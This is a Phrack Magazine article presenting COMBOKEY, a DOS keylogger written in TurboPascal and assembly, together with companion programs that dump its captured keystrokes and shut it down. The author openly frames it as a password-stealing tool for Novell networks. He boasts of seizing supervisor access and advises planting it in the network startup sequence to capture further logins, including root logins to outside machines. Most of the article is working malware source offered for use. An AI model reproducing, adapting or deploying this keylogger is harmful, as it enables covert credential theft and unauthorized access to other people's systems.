home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / p48_12.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  12.5 KB  |  441 lines

  1.                               ==Phrack Magazine==
  2.  
  3.                  Volume Seven, Issue Forty-Eight, File 12 of 18
  4.  
  5.  
  6.                 COMBOKEY and the Simplistic Art of PC Hacking
  7.                                     -or-
  8.                               KeyTrap Revisited
  9.  
  10.                                   by Sendai
  11.                          (with apologies to Dcypher)
  12.  
  13. NOTE: Of course I take no responsibility when you use this and get
  14. kicked out of school or something stupid.  Besides, why would you be so
  15. stupid as to get caught in the first place? :-) So be careful, and have
  16. fun.  Don't get stupid.
  17.  
  18. WHAT YOU NEED FOR ANY OF THIS TO MAKE SENSE:
  19. * At least a reading knowledge of TurboPascal and 8086 assembly
  20. * A tolerable understanding of how the PC actually works or
  21. * A copy of Queue's "MS-DOS Programmer's Reference"
  22. * A copy of that yellow-spined "Indespensable PC Hardware Reference" book
  23.  
  24.  
  25. ON WITH IT...
  26. It was with a little dissatisfaction that I read Dcypher's KeyTrap
  27. article the other day (so I'm back-logged a few issues, so sue me!)
  28. I've been foolin' around with a version of this that I first wrote about
  29. five years ago during high school, and well, I thought mine was a little
  30. easier to understand.
  31.  
  32. So I'm gonna show you my version, actually explain how the damn thing
  33. works, and hope somebody out there has their day brightened by using
  34. this program.
  35.  
  36. Note that the only reason I wrote this thing was to record passwords on
  37. a Novell net. It will record all keypresses, but it really has limited
  38. use other than hacking.
  39.  
  40. Fun fact: With this program, it has taken me an average of about six
  41. hours to snag supervisor on every Novell net I've nailed.  And I'm sure
  42. you can do better. ;-)
  43.  
  44.  
  45. PC KEYBOARD HANDLING 101
  46. Okay, a quick review for those PC newbies out there.  When a key is
  47. pressed on a PC, it generates an interrupt 9 (keyboard interrupt),
  48. causing the machine to look up the address of the 9th Interrupt Service
  49. Routine. The ISR is typically in ROM; the interrupt vector itself is
  50. not.
  51.  
  52. A key recorder is a program that simply latches itself into the
  53. interrupt 9 handler by replacing the old vector with its own address.
  54. By doing this, every time a key is pressed, we know about it.
  55.  
  56.  
  57. ENTER COMBOKEY (That'd be the key recorder)
  58. I differ with my strategy from Dcypher in that I don't bother going
  59. directly to the keybard hardware.  COMBOKEY just goes ahead and calls
  60. the old ISR and then looks in the BIOS keyboard buffer to see what the
  61. key was. Yeah, you don't get the funky-ass key combinations like
  62. control-shift-right-alt-F2-Z, but hey, I'm just after the passwords.
  63.  
  64. When a new key is pressed, it's dumped in the buffer.  When the buffer
  65. is full, nothing happens.  I'll leave writing it to a file as an
  66. exercise to the reader.
  67.  
  68. My favorite feature, if I may say so myself, is the fact that COMBOKEY
  69. has an API in it, sort of.  Interrupt 255 is also latched and provides
  70. the "user" an interface to the presently running copy of COMBOKEY.  But
  71. not just anyone can go poking into 255 to kill COMBOKEY or get a buffer
  72. dump or whatever.  First, you gotta send a combination.
  73.  
  74. Look at the "const" section of COMBOKEY and you'll see a constant array
  75. of four bytes.  Change these numbers to whatever the hell you want.  To
  76. use the COMBOKEY interface you need to send each of these bytes
  77. sequentially in AX to ISR 255.  Look at the "DoCombo" procedure in Dump
  78. or Kill to see what I mean.
  79.  
  80. After you send the combo, you send one more byte that represents the
  81. command.
  82.  
  83. Dump buffer:   AX=C0h    Dumps the buffer to a chunk of memory at ES:DI.
  84. Get info:      AX=C2h    Sends a TinfoRec (see source) to ES:DI.
  85. Kill:          AX=C1h    Deactivates the recorder.
  86.  
  87. There are two additional programs following: Dump and Kill.  These just
  88. use the interface to do their appropriate actions.
  89.  
  90. THE PROPER ETIQUETTE OF COMBOKEY
  91. There's a good deal of social engineering involved with using COMBOKEY.
  92. Since it works on only the machine you put it on, you have to know where
  93. to put it in the first place to be most effective.  (Or be really
  94. resourceful and put it on every machine around.)
  95.  
  96. To maximize your amusement, get the supervisor password first, and then
  97. put this program in the startup sequence of the network.  Then go nuts.
  98.  
  99. This program gets REALLY fun when your net is equipped with TCP/IP apps
  100. like Telnet, and some moron has their home machine hooked up to the
  101. Net, and they actually log into it  with root from your net.  Instant
  102. party.
  103.  
  104. NEAT TRICKS TO TRY
  105. If I ever get around to it, it'd be cool to use the IPX interface to
  106. actually broadcast the keystrokes over to a waiting machine for instant
  107. feedback.
  108.  
  109. The next trick to try is to maybe build a hardware version of this with
  110. a little microcontroller.  A Motorola 68HC11 would do nicely.  This
  111. would get rid of the pesky problem of reseting the machine or turning
  112. the power off.
  113.  
  114. Ah well.  Comments and the like to jsrs@cyberspace.com.  Happy hunting.
  115.  
  116. -------------------------------------------------------------------------------
  117. { Source notes:
  118.   This'll compile on TurboPascal 6 or better.  Might even work with 5.
  119.   Why Turbo?  Cause it generates damn tight code, and it's much more readable
  120.   for the newbies than all assembly. }
  121.  
  122. {ComboKey - It's a TSR, so we gotta do the mem setup. }
  123. {$M 1024, 0, 2100}
  124. program ComboKey;
  125.  
  126. uses Dos; { For Keep() }
  127.  
  128. const
  129.      DUMP_BUFFER = $C0;
  130.      KILL_RECORDER = $C1;
  131.      GET_INFO = $C2;
  132.  
  133.      BUFSIZE = 2048;     { In bytes, NOT paragraphs! }
  134.      DISPLAY_MAX = 100;
  135.      combo: Array[0..3] of Byte = ( 01, 01, 19, 74 );
  136.  
  137. type
  138.      PBuf = ^TBuf;
  139.      TBuf = Array[0..BUFSIZE-1] of Byte;
  140.      PInfoRec = ^TInfoRec;
  141.      TInfoRec = record
  142.           buffer_size: Word;  { Word is 16 bit, unsigned }
  143.           overwrite: Word;
  144.           buffer_ptr: Word;
  145.      end;
  146.  
  147. var
  148.      old9o, old9s: Word; { Must be in this order! }
  149.      wptr: Word absolute $40:$1c; { Ptr to next avail slot in kbd buffer }
  150.      q_top: Word absolute $40:$80;
  151.      q_bot: Word absolute $40:$82;
  152.      buffer: PBuf;
  153.      buf_ptr: Word;
  154.      overwrite_ctr: Word;
  155.      last_wptr: Word;
  156.      tumbler: Byte; { How many numbers in the combo right so far? }
  157.  
  158. procedure SetVector( int: Byte; s, o: Word);
  159.      begin
  160.           asm
  161.                push ds
  162.                cli
  163.                mov  ah, 25h
  164.                mov  al, int
  165.                mov  ds, s
  166.                mov  dx, o
  167.                int  21h
  168.                sti
  169.                pop  ds
  170.           end;
  171.      end;
  172.  
  173. procedure NewInt09(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word);
  174. interrupt;
  175.      var
  176.           offset: Word;
  177.           c: Byte;
  178.           l: Word;
  179.           ctr: Word;
  180.      begin
  181.           { First call the old handler.  Do the pushf,  cause this is an
  182.             interrupt handler. }
  183.           asm
  184.                pushf
  185.                call dword ptr [old9o]   { Since old9s is next, it works }
  186.                cli
  187.           end;
  188.  
  189.           { This isn't a press, but a release - ignore it. }
  190.           if last_wptr = wptr then Exit;
  191.  
  192.           last_wptr:=wptr;
  193.  
  194.           { Did the queue just wrap? }
  195.           if (wptr = q_top) then offset:=q_bot-2
  196.           else offset:=wptr-2;
  197.  
  198.           Inc(buf_ptr);
  199.           if (buf_ptr = BUFSIZE) then begin { we'd write it, but oh well. }
  200.                buf_ptr:=0;
  201.                Inc(overwrite_ctr);
  202.           end;
  203.  
  204.           buffer^[buf_ptr]:=Mem[$40:offset];
  205.  
  206.           asm
  207.                sti
  208.           end;
  209.      end;
  210.  
  211. { Here's the interface system.  Don't bother saving the old $FF,
  212. cause who uses it anyway?! }
  213. procedure NewIntFF(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word);
  214. interrupt;
  215.      var
  216.           command: Word;
  217.           res, rdi: Word;
  218.           infoptr: PInfoRec;
  219.           l: Word;
  220.      begin
  221.           command:=AX;
  222.           res:=ES;
  223.           rdi:=DI;
  224.  
  225.           if tumbler=4 then begin  { we have a winner... }
  226.           tumbler:=0;
  227.                asm
  228.                     sti
  229.                end;
  230.  
  231.                case command of
  232.                     DUMP_BUFFER: begin
  233.                          asm
  234.                                    push ds
  235.                               mov  cx, BUFSIZE
  236.                               mov  es, [res]
  237.                               mov  di, [rdi]
  238.                               mov  ax, [WORD PTR buffer+2]
  239.                               mov  ds, ax
  240.                               mov  ax, [WORD PTR buffer]
  241.                               mov  si, ax
  242.  
  243.                               cld
  244.                               rep  movsb
  245.                               pop  ds
  246.                          end;
  247.                     end;
  248.  
  249.                     KILL_RECORDER: begin
  250.                          SetVector(9, old9s, old9o);
  251.                     end;
  252.  
  253.                     GET_INFO: begin
  254.                          asm
  255.                               mov  es, [res]
  256.                               mov  di, [rdi]
  257.                               mov  ax, BUFSIZE
  258.                               mov  es:[di], ax
  259.                               mov  ax, [overwrite_ctr]
  260.                               mov  es:[di+2], ax
  261.                               mov  ax, [buf_ptr]
  262.                               mov  es:[di+4], ax
  263.                          end;
  264.                     end;
  265.                end;
  266.  
  267.                asm
  268.                     cli
  269.                end;
  270.           end;
  271.  
  272.           if command=combo[tumbler] then Inc(tumbler)
  273.           else tumbler:=0;
  274.      end;
  275.  
  276. begin
  277.      asm
  278.           mov  ah, $35
  279.           mov  al, 9
  280.           int  $21
  281.  
  282.           mov  ax, es
  283.           mov  old9s, ax
  284.           mov  old9o, bx
  285.      end;
  286.  
  287.      SetVector(9, Seg(NewInt09), Ofs(NewInt09));
  288.      SetVector(255, Seg(NewIntFF), Ofs(NewIntFF));
  289.  
  290.      buffer:=New(PBuf);
  291.      buf_ptr:=0;
  292.      overwrite_ctr:=0;
  293.      last_wptr:=0;
  294.      tumbler:=0;
  295.  
  296.      Keep(0);
  297. end.
  298.  
  299.  
  300.  
  301. -------------------------------------------------------------------------------
  302.  
  303. { Kills the keyrecorder }
  304. program Kill;
  305.  
  306. const
  307.      combo0 = 01;
  308.      combo1 = 01;
  309.      combo2 = 19;
  310.      combo3 = 74;
  311.  
  312.      KILL_RECORDER = $C1;
  313.  
  314. procedure ResetCombo;
  315.      var
  316.      l: Word;
  317.    begin
  318.      for l:=1 to 4 do asm
  319.           mov  ax, 0
  320.          int   $ff
  321.       end;
  322.    end;
  323.  
  324. procedure DoCombo;
  325.      begin
  326.           asm
  327.                mov  ax, combo0
  328.                int  $ff
  329.                mov  ax, combo1
  330.                int  $ff
  331.                mov  ax, combo2
  332.                int  $ff
  333.                mov  ax, combo3
  334.                int  $ff
  335.           end;
  336.      end;
  337.  
  338. begin
  339.      ResetCombo;
  340.      DoCombo;
  341.      asm
  342.           mov  ax, KILL_RECORDER
  343.           int  $ff
  344.      end;
  345. end.
  346.  
  347.  
  348. -------------------------------------------------------------------------------
  349.  
  350. { Syntax:
  351.      DUMP DESTFILE.FIL
  352.  
  353.   This'll dump the buffer information and contents to the file.  If 
  354.   no file is given, it goes to the screen. }
  355.  
  356. program Dump;
  357.  
  358. const
  359.      combo0 = 01;
  360.      combo1 = 01;
  361.      combo2 = 19;
  362.      combo3 = 74;
  363.  
  364.      DUMP_BUFFER = $C0;
  365.      GET_INFO = $C2;
  366.  
  367. type
  368.      PInfoRec = ^TInfoRec;
  369.      TInfoRec = record
  370.           buffer_size: Word;
  371.           overwrite: Word;
  372.           buffer_ptr: Word;
  373.      end;
  374.  
  375. var
  376.      info: TInfoRec;
  377.      buffer: Array[0..8191] of Byte;
  378.      l: Word;
  379.      f: Text;
  380.  
  381. procedure ResetCombo;
  382.      var
  383.           l: Word;
  384.      begin
  385.           for l:=1 to 4 do asm
  386.                mov  ax, 0
  387.                int  $ff
  388.           end;
  389.      end;
  390.  
  391. procedure DoCombo;
  392.      begin
  393.           asm
  394.                mov  ax, combo0
  395.                int  $ff
  396.                mov  ax, combo1
  397.                int  $ff
  398.                mov  ax, combo2
  399.                int  $ff
  400.                mov  ax, combo3
  401.                int  $ff
  402.           end;
  403.      end;
  404.  
  405. begin
  406.    Assign(f, ParamStr(1));
  407.    Rewrite(f);
  408.  
  409.    ResetCombo;
  410.  
  411.      DoCombo;
  412.      asm
  413.           mov  ax, SEG info
  414.           mov  es, ax
  415.           mov  di, OFFSET info
  416.           mov  ax, GET_INFO
  417.           int  $ff
  418.      end;
  419.  
  420.      writeln(f,'Buffer size: ',info.buffer_size);
  421.      writeln(f,'Buffer ptr:  ',info.buffer_ptr);
  422.      writeln(f,'Overwrite:   ',info.overwrite);
  423.  
  424.      DoCombo;
  425.      asm
  426.           mov  ax, SEG buffer
  427.           mov  es, ax
  428.           mov  di, OFFSET buffer
  429.           mov  ax, DUMP_BUFFER
  430.           int  $ff
  431.      end;
  432.  
  433.      for l:=0 to info.buffer_ptr do begin
  434.           write(f, Char(buffer[l]));
  435.           if buffer[l] = 13 then write(f,#10);
  436.      end;
  437.      
  438.      Close(f);
  439. end.
  440.  
  441.